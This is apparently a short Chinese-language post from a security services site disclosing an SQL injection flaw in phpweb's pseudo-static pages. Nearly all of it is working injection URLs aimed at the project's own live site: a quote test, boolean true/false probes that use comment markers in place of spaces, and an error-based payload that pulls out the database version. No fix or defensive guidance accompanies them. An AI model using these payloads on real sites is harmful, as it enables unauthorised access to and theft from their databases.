eSafe白帽駭客資安網-網絡安全背後的巨人,提供駭客,網站入侵測試,網站被駭,網站漏洞,駭客入侵,資訊安全,入侵,ecshop,wordpress,漏洞修復,木馬清除,資安服務

phpweb 偽靜態頁面注入漏洞 2013年首發

phpweb所有的整站程序偽靜態頁面都存在sql注入
主站:http://www.phpweb.net/
加’檢測:
 
http://www.phpweb.net/down/html/?771′.html
 
出錯
存在注入。
不能用空格,只能用/*羅
http://www.phpweb.net/page/html/?55′/**/and/**/1=1/*.html 正常
 
http://www.phpweb.com/page/html/?55′/**/and/**/1=2/*.html 出錯.
爆數據庫版本:
 
http://www.phpweb.net/page/html/?55′/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

 

分享: